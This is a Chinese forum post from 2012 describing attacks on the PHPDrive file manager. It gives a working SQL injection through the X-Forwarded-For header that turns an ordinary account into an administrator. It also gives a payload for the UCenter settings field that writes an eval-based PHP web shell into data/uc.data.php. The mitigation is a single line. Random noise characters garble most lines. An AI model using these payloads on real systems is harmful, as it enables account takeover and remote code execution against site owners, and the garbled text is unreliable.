PHPDrive 是一套运行于 PHP 环境的文件管理系统，可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等' K1 T. n7 W& U% y- q. I
- s6 {$ v: _6 G) q3 Q
includes/user.lib.php
( G! c4 D b1 l& x, @行87
! Y* e" p9 f0 T3 f, T! v function get_ip() {
( n* K' X. Y7 N& Z _+ P" _! M2 s if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
1 Z2 H; U3 w6 |5 R- n在用户注册与登录 处module/disk/account.lead.php
0 w r" h: n; N o* v) j% P- I) _198行 ; W) `6 V: E% N5 I, b- _0 w- Y
//更新本次登录IP和时间
- \! U, I5 T' f% L! F' Y/ W $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生- v- v8 X2 j* c9 l6 }9 L7 k
由于本套程序user与manager是存在于同一个表下的，只是用group字段来区分两者,group=1为管理员，2则为普通用户。所以可以利用以上注入，将普通用户的group值改为1，即可提升权限
; x; L' a+ [" h1 k4 k# ~实现方法：使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆，这时候你就是管理员了.
+ ?+ y( R+ O7 A( w" J( J+ ?3 e后台getshell:- P; I, f; \6 L: x( m' ^, s0 _
在UCenter设置处，将UC数据库登录名填写为
7 @7 U0 k3 k; _1 T 2 H5 j6 \3 V: q) c# |) ~) A; ~
root’);eval($_POST[DisKill]);?>/*0 D2 E' y7 A: ^4 E0 m$ ]
可以得到一个shell,位置在 data/uc.data.php: `9 I) H7 j" i0 N' x- [; G
9 x) y# z: h3 k5 k/ o修复：过滤注入
. d) g1 \5 N7 b3 ~& Y) ]- u: O* @# [: B
|
发表于 2012-12-31 09:18:34
收藏
支持
反对